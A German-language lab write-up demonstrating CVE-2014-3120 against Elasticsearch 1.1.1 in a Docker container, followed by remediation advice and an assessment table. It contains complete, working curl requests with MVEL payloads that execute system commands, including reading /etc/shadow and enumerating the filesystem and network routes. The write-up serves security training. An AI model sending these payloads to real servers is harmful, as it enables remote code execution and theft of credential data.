
Schritt-für-Schritt-Laboranleitung zur Demonstration der Ausnutzung von CVE-2014-3120 gegen Elasticsearch 1.1.1, die Schwachstellenanalyse, RCE via MVEL-Scripting und Post-Exploitation in einer Docker-Umgebung abdeckt.
Beginnend mit dem, was in der Umgebung läuft. Wir listen alle aktiven Container auf:
docker ps

Ergebnis: Container p1/lab10:latest läuft und exponiert 2 Ports extern:
| Port-Mapping | Protokoll |
|---|---|
0.0.0.0:9200 → 9200/tcp | HTTP (muss überprüft werden) |
0.0.0.0:9300 → 9300/tcp | Unbekannt |
Erste Beobachtung: Die Ports 9200 und 9300 sind allgemein als die Standard-Ports für Elasticsearch bekannt. Wir können jedoch nicht allein aufgrund der Portnummern schließen – viele andere Dienste können an beliebige Ports binden.
⇒ Wir curl direkt auf jeden Port, um zu überprüfen, welcher Dienst tatsächlich läuft.
curl -i http://192.168.3.137:9300/

Antwortanalyse:
curl: (52) Empty reply from serverBewertung: Der Server hat die TCP-Verbindung akzeptiert (keine Verbindungsablehnung), aber nicht mit dem HTTP-Protokoll geantwortet. Dies entspricht dem Verhalten des Elasticsearch Transport-Protokolls auf Port 9300 – einem binären Protokoll für die Kommunikation zwischen Knoten in einem Cluster, nicht HTTP.
⇒ Denkweise: Port 9300 verwendet ein binäres Protokoll → kann nicht direkt über curl/Browser ausgenutzt werden. Wechsel zur Überprüfung von Port 9200 – dem HTTP-REST-API-Port.
curl -i http://192.168.3.137:9200/

Antwortanalyse:
Bewertung der Angriffsfläche:

⇒ Denkweise: Elasticsearch 1.1.1 aktiviert Dynamic Scripting standardmäßig – ermöglicht es Clients, Skripte (MVEL-Ausdrücke) in Suchanfragen zu senden, die der Server ausführt. Ohne eine Sandbox oder ordnungsgemäße Validierung kann ein Angreifer ein bösartiges Skript einschleusen, um Systembefehle auszuführen. Nächster Schritt: Überprüfen, ob Dynamic Scripting auf dem Ziel tatsächlich aktiv ist.
Elasticsearch unterstützt eine Scripting-Funktion – erlaubt es Clients, Skripte (mathematische oder logische Ausdrücke) in Suchanfragen zu senden, die der Server bei der Verarbeitung der Ergebnisse ausführt. In Elasticsearch 1.x ist die Standard-Engine für diese Funktion MVEL (MVFLEX Expression Language).
In Elasticsearch-Versionen vor 1.2 ist Dynamic Scripting standardmäßig aktiviert (script.disable_dynamic: false). Das bedeutet:
script_fields in der _search-API sendenjava.lang.Runtime.getRuntime().exec() aufrufen, um Systembefehle auszuführenscript_fields funktioniertWenn eine Suchanfrage mit script_fields gesendet wird, führt Elasticsearch Folgendes aus:
_search-APIscript_fields → findet das auszuführende scriptIn Java ist der gebräuchlichste Weg, einen Systembefehl auszuführen:
Runtime.getRuntime().exec("command");
MVEL, als Ausdruckssprache mit vollem Zugriff auf Java-Klassen, erlaubt den direkten Aufruf:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
Erklärung jedes Teils:
⇒ Denkweise: Bei Elasticsearch wird die RCE-Ausgabe direkt in der Antwort zurückgegeben – keine Notwendigkeit, sie in eine Datei umzuleiten und zurückzulesen. Das macht den Exploit sauberer und schneller zu verifizieren.
Nachdem das Ziel als Elasticsearch 1.1.1 identifiziert wurde, muss als nächstes überprüft werden, ob Dynamic Scripting tatsächlich aktiviert ist.
CVE-2014-3120 nutzt die Tatsache aus, dass Elasticsearch Clients erlaubt, Skripte innerhalb von _search-Anfragen zu senden. Wenn das Skript vom Server ausgeführt wird, kann ein Angreifer den harmlosen Ausdruck durch eine Nutzlast ersetzen, die die Java Runtime aufruft, um Systembefehle auszuführen.
Zuerst erstellen wir ein Testdokument, um sicherzustellen, dass die Abfrage mindestens ein passendes Ergebnis hat. Wenn keine Dokumente übereinstimmen, wird script_fields nicht ausgewertet.
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
-H 'Content-Type: application/json' \
-d '{"name":"test"}'
Dann aktualisieren wir den Index:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'
Als nächstes senden wir eine _search-Anfrage mit script_fields, die einen harmlosen MVEL-Ausdruck enthält:
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {
"match_all": {}
},
"script_fields": {
"test": {
"script": "1+1"
}
}
}'

Wir senden das Skript "1+1" und der Server gibt das Ergebnis 2 zurück. Das beweist, dass Elasticsearch nicht nur die _search-Anfrage empfängt, sondern das dynamische Skript serverseitig ausführt.
⇒ Dynamic Scripting ist auf dem Ziel aktiv.
Da das Ziel Elasticsearch 1.1.1 ist, also vor 1.2, entspricht dies den Ausbeutungsanforderungen von CVE-2014-3120: Elasticsearch vor Version 1.2 aktiviert Dynamic Scripting standardmäßig, sodass ein entfernter Angreifer MVEL-Ausdrücke/Java-Code über eine Suchanfrage ausführen kann.
Wir haben überprüft, dass script_fields durch den harmlosen Ausdruck "1+1" serverseitig von Elasticsearch ausgeführt wird und [2] zurückgibt.
Das beweist, dass das Ziel nicht nur Standardsuchen zulässt, sondern auch Clients erlaubt, ein MVEL-Skript zu senden, das der Server während der _search-Verarbeitung auswertet.
Bei CVE-2014-3120 liegt das kritische Risiko darin, dass MVEL in Elasticsearch 1.1.1 auf Java-Klassen zugreifen kann. Daher kann ein Angreifer, anstatt einen mathematischen Ausdruck wie "1+1" zu senden, ein Skript senden, das die Java Runtime aufruft:
Runtime.getRuntime().exec("command")
Dies ist die Standard-Java-API zum Erstellen eines neuen Prozesses und Ausführen von Befehlen im Betriebssystem.
_search API
→ script_fields
→ MVEL-Ausdruck
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner liest stdout
→ Ergebnis in der JSON-Antwort zurückgegeben
RCE-Payload:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"exploit": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Aufschlüsselung der Payload:
Ergebnis:
Die Antwort gibt das Feld fields.exploit zurück, das die Ausgabe des Befehls id enthält:
"exploit": [
"uid=0(root) gid=0(root) groups=0(root)\n"
]
Analyse:
Die Payload hat erfolgreich Runtime.getRuntime().exec("id") über das MVEL-Skript innerhalb von script_fields aufgerufen. Die Tatsache, dass die Antwort die Ausgabe des id-Befehls zurückgibt, beweist, dass der Befehl serverseitig ausgeführt wurde.
Das Ergebnis uid=0(root) gid=0(root) groups=0(root) zeigt an, dass der Elasticsearch-Prozess innerhalb des Containers mit root-Berechtigungen läuft.
Nach Bestätigung von RCE müssen die tatsächlichen Berechtigungen überprüft werden, indem versucht wird, sensible Dateien zu lesen:
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"shadow_test": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Beobachtetes Ergebnis:
Die Antwort gibt den Inhalt der Datei /etc/shadow zurück:
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...
Analyse:
Die Datei /etc/shadow ist eine sensible Systemdatei in Linux, die normalerweise nur für den root-Benutzer oder Prozesse mit entsprechenden Berechtigungen lesbar ist. Im vorherigen Schritt gab der Befehl id Folgendes zurück:
uid=0(root) gid=0(root) groups=0(root)
Dieser Schritt bestätigt dies durch tatsächliches Verhalten: die RCE-Payload kann /etc/shadow erfolgreich lesen.
⇒ Elasticsearch innerhalb des Containers läuft mit root-Berechtigungen.
⇒ Die Auswirkung beschränkt sich nicht auf typische Befehlsausführung, sondern ist RCE mit root-Berechtigungen innerhalb des Containers.
Hinweis: Die root-Berechtigung bezieht sich hier auf root innerhalb des Docker-Containers. Wir können nicht darauf schließen, dass der Angreifer root-Berechtigungen auf dem Host hat, ohne Beweise dafür, dass der Container privilegiert läuft, den Docker-Socket mountet oder sensible Volumes vom Host bereitstellt.
RCE ist bestätigt. Wir sammeln nun Systeminformationen, um den Umfang zu bewerten.
Nach Bestätigung von RCE mit root-Berechtigungen führen wir den Befehl ls -la / über die MVEL-Payload aus, um das Dateisystem im Ziel zu beobachten:
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"rootfs": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Ergebnis: Die Antwort gibt den Inhalt des /-Verzeichnisses im Feld rootfs zurück.
Analyse:
Die Tatsache, dass die Ausgabe von ls -la / in der JSON-Antwort erscheint, beweist, dass der Befehl über RCE auf dem Ziel ausgeführt wurde. Dateien wie docker-entrypoint.sh, das elasticsearch-Verzeichnis und der docker-java-home-Symlink zeigen an, dass es sich bei der kompromittierten Umgebung um einen Container mit Elasticsearch handelt.
⇒ Der Angreifer kann das Dateisystem innerhalb des Containers mit root-Berechtigungen auflisten.
Da der Container nicht über das Binärprogramm /sbin/ifconfig verfügt, lesen wir direkt /proc/net/route. Diese Datei benötigt keine externen Hilfsprogramme und liefert die Routing-Tabelle des Containers.
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
-H 'Content-Type: application/json' \
-d '{
"size": 1,
"query": {"filtered": {"query": {"match_all": {}}}},
"script_fields": {
"route": {
"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}'

Analyse:
Die Ergebnisse zeigen, dass der Container über das Interface eth0 verfügt und sich im Docker-Netzwerk 172.19.0.0/16 befindet. Das Standard-Gateway ist 172.19.0.1.
Dies beweist, dass der Container über die Docker-Brücke interne Netzwerkkonnektivität hat. Da der Angreifer bereits root-Berechtigungen innerhalb des Containers hat, könnte er theoretisch andere Hosts/Dienste im selben Docker-Netzwerk inspizieren, falls die Netzwerkrichtlinien dies zulassen.
Diese Ausgabe beweist jedoch nur die Netzwerksichtbarkeit auf Routing-Ebene, nicht einen erfolgreichen Pivot. Für die Schlussfolgerung eines Pivots sind weitere Beweise erforderlich, wie das erfolgreiche Scannen eines anderen Hosts, das Verbinden mit einem internen Dienst oder das Abrufen von Ressourcen aus einem anderen Netzwerk.
Basierend auf den während der Analyse gesammelten Beweisen läuft auf dem Ziel Elasticsearch 1.1.1 auf Port 9200. Diese Version ist älter als 1.2 und fällt somit in den betroffenen Bereich von CVE-2014-3120.
Die Schwachstelle rührt daher, dass Elasticsearch vor Version 1.2 Dynamic Scripting standardmäßig aktiviert, was Clients erlaubt, MVEL-Skripte über Suchanfragen zu senden. In diesem Labor wurde diese Funktion mit dem harmlosen Ausdruck "1+1" bestätigt, der das Ergebnis [2] zurückgab.
Anschließend rief die MVEL-Payload Folgendes auf:
Runtime.getRuntime().exec("id")
Die Antwort gab Folgendes zurück:
uid=0(root) gid=0(root) groups=0(root)
Dies beweist, dass ein Angreifer Systembefehle über Elasticsearch ausführen kann. Darüber hinaus konnte die Payload erfolgreich /etc/shadow lesen, was bestätigt, dass die Ausführungsberechtigung innerhalb des Containers root ist.
1. Upgrade von Elasticsearch auf eine neuere Version
Führen Sie ein Upgrade von Elasticsearch auf Version >= 1.2.0 (Minimum) oder idealerweise auf die derzeit unterstützte Version (8.x) durch. Ab Version 1.2 ist Dynamic Scripting standardmäßig deaktiviert.
2. Dynamic Scripting sofort deaktivieren (falls ein Upgrade nicht möglich ist)
Fügen Sie Folgendes zur elasticsearch.yml hinzu:
script.disable_dynamic: true
Starten Sie Elasticsearch nach dieser Änderung neu. Dies deaktiviert vollständig die Fähigkeit von Clients, Skripte innerhalb von Suchanfragen zu senden.
3. Die Elasticsearch-REST-API nicht in unsicheren Netzwerken exponieren
Elasticsearch hat keine standardmäßige Authentifizierung in Version 1.x. Wenn sie exponiert werden muss, platzieren Sie sie hinter einem Reverse-Proxy mit Authentifizierung oder binden Sie sie nur an 127.0.0.1.
4. Authentifizierung und Verschlüsselung aktivieren
Moderne Elasticsearch-Versionen (7.x+) unterstützen integrierte Sicherheit (Authentifizierung, TLS). Nach einem Upgrade Sicherheitsfunktionen aktivieren:
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true
5. Zugriff mithilfe einer Firewall einschränken
Erlauben Sie nur vertrauenswürdigen IPs den Zugriff auf die Ports 9200 und 9300. Exponieren Sie sie nicht im Internet oder im gesamten internen Netzwerk.
6. Elasticsearch als Benutzer mit niedrigen Berechtigungen ausführen
Führen Sie Elasticsearch nicht unter dem root-Benutzer aus. Erstellen Sie einen dedizierten elasticsearch-Benutzer mit minimalen Berechtigungen. Dies ist eine offizielle Best Practice:
| Feld | Wert | Bedeutung |
|---|
name | "Rage" | Elasticsearch-Knotenname (zufälliger Marvel-Charaktername – Standardverhalten älterer ES-Versionen) |
version.number | "1.1.1" | Extrem alte Version – veröffentlicht im April 2014 |
build_timestamp | "2014-04-16T14:27:12Z" | Erstellt im Jahr 2014 |
lucene_version | "4.7" | Lucene 4.7 – alte Indizierungs-Engine |
tagline | "You Know, for Search" | Charakteristische Signaturphrase von Elasticsearch |
| Teil | Erklärung |
|---|
import java.io.* | Importiert Java-IO-Klassen |
Runtime.getRuntime() | Ruft die Java-Runtime-Instanz ab |
.exec("id") | Führt den Shell-Befehl id aus |
.getInputStream() | Ruft den Ausgabestream des Prozesses ab |
new Scanner(...).useDelimiter("\\A").next() | Liest die gesamte Ausgabe als Zeichenkette |
| Teil | Zweck |
|---|
"size": 1 | Begrenzt das Ergebnis auf 1 Dokument |
"query" → "match_all" | Findet alle Dokumente (erfordert mindestens ein vorhandenes Dokument im Index) |
"script_fields" → "exploit" | Definiert ein berechnetes Feld, das das MVEL-Skript ausführt |
"script": "import java.io.*; ..." | MVEL-Ausdruck, der den Befehl id ausführt und die Ausgabe zurückgibt |
| Kriterium | Bewertung | Details |
|---|
| CVE | CVE-2014-3120 | Elasticsearch Dynamic Scripting RCE |
| Betroffener Dienst | Elasticsearch | REST-API auf Port 9200 exponiert |
| Version | 1.1.1 | Vor 1.2, fällt in betroffene Versionen |
| Authentifizierung | Im Labor nicht erforderlich | REST-API antwortet direkt, keine Anmeldeinformationen erforderlich |
| Ausbeutungsbedingungen | Dynamic Scripting aktiviert | Bestätigt durch Skript "1+1", das [2] zurückgibt |
| Erlangte Berechtigungen | root im Container | id gibt uid=0(root) zurück |
| Auswirkung | Sehr hoch | RCE, Lesen sensibler Dateien, Auflisten des Dateisystems, Sammeln von Benutzer-/Netzwerkdetails |
| Umfang | Container | Noch keine Hinweise auf Host-Kompromittierung |
| Pivoting | Potenzial für weitere Überprüfung | Container hat eine Route über eth0 im Docker-Netzwerk 172.19.0.0/16 |